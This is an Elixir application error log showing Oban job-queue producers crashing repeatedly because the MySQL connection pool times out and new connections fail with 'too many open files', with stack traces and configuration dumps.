[Sun Sep  6 00:42:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:42:40.239229Z], limit: 10, uuid: "04f2c8e8-2ca4-4c13-b4c2-c2d4f871b278", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:40.239235Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49656>, refresh_timer: #Reference<0.2525715032.1068498948.73536>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:42:40.240643Z], limit: 5, uuid: "381a6d52-057b-4517-a6dc-2bdb3ed69770", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:40.240649Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49654>, refresh_timer: #Reference<0.2525715032.1077673987.49644>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:42:40.239363Z], limit: 20, uuid: "a9407164-84b3-43f5-9ff6-926eb0906880", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:40.239368Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.73571>, refresh_timer: #Reference<0.2525715032.1068498948.73540>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:42:40.239437Z], limit: 3, uuid: "24706b21-061d-4fab-a28b-5af96de43449", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:40.239442Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.216345>, refresh_timer: #Reference<0.2525715032.1121189889.216340>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:42:40.238673Z], limit: 50, uuid: "cbe350c0-244b-42f3-8abd-cfdf72f16ccd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:40.238681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49657>, refresh_timer: #Reference<0.2525715032.1068498948.73534>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:42:40.241032Z], limit: 5, uuid: "82b8b41b-8204-463c-ae50-7b744d82b1f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:40.241040Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49655>, refresh_timer: #Reference<0.2525715032.1077673987.49646>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:53.558000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:54.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:58.704000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:59.068000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:00.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:02.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:03.453000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:42:52.238892Z], limit: 10, uuid: "ae28136b-191b-44a8-9d88-66f538d3c49b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:52.238899Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50024>, refresh_timer: #Reference<0.2525715032.1121189889.216546>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:42:52.239327Z], limit: 5, uuid: "4acf5653-79e2-4de4-a898-467744b65975", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:52.239332Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50025>, refresh_timer: #Reference<0.2525715032.1121189889.216569>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
